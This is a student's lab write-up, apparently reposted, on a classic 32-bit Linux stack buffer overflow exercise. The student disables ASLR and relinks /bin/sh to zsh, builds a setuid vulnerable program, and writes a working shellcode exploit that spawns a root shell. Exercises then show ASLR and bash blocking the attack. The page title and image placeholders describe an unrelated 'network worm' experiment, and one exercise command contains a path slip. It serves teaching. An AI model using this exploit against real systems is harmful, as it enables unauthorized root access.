H5W3
当前位置:H5W3 > 其他技术问题 > 正文

网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

一、实验内容:

        缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。本课程将带领大家重现攻击理解此漏洞。

1.实验要求:

  • 有 C 语言基础
  • 会进制转换以及计算
  • vim 基本使用
  • 熟悉基本 linux 命令

2.实验任务:

  • 通过重现缓冲区溢出攻击来理解此漏洞

二、实验准备:

        系统用户名:shiyanlou

        实验楼提供的虚拟环境是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

        输入命令安装一些用于编译 32 位 C 程序的软件包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

  

三、实验步骤:

1.初始设置:

  • Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0

  网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

 

  • 此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
  • linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit

  网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • 输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash 使用bash:

        网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

 

2.shellcode:

  • 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
  • 本次实验的 shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

3.漏洞程序:

  • 在 /tmp 目录下新建一个 stack.c 文件:
cd /tmp
vim stack.c
  •  i 键切换到插入模式,再输入如下内容:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
  • 通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
  • 编译该程序,并设置 SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

  网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

  • -g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

 

4.攻击程序:

  • 我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。
  • 在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50"     //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin"     //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50"     //pushl %eax
"\x53"     //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99"     //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
  • 注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode);这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
  • 现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack
disass main
  • 结果如图:

         网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
  • 接下来的操作(设置断点):
b *0x080484ee
r
i r $esp

  网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • 最后获得的这个 0xffffcfb0 就是 str 的地址。

  • 根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014(可用16进制加法器进行计算)

  • 现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。

       网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • 然后,编译 exploit.c 程序:
gcc -m32 -o exploit exploit.c

  

 

5.攻击结果:

  • 先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

        网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

    (whoami 是输入的命令,不是输出结果。)

  • 可见,通过攻击,获得了root 权限!

   (如果不能攻击成功,提示”段错误“,那么请重新使用 gdb 反汇编,计算内存地址。)

 

四、练习:

1.按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。

        网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

 

 

2.通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

sudo sysctl -w kernel.randomize_va_space=2

  网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

       网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • 可以看见获取root权限失败!

 

3.将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

sudo su
cd /bin
rm /sh
ln -s bash sh
exit

  网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

       网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

  • 获取root权限失败!

五、实验感想:

      本次实验让我们熟悉了缓冲区溢出的原理,进一步了解了缓冲区溢出的危害。同时在虚拟机内实现实验操作,更加熟悉了linux的指令操作。我原本想用我自己的虚拟机来做这个实验的,但是在安装linux32的过程中出现了问题导致了我的虚拟机打不开,整个崩溃掉(我们好几个人都有这种情况),不得不放弃实用自己的虚拟机并且重新安装Ubuntu。但实验楼提供的虚拟环境还是非常实用的,没有什么问题,可以放心做实验。就是在熟悉实验操作上要加强,包括代码的输入还有对指令操作的理解等等。总的来说还是有很多收获的,希望今后的实验也能继续学习到新知识。

本文地址:H5W3 » 网络蠕虫恶意程序实验(基于教学管理系统的虚拟路由器2o171326)

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址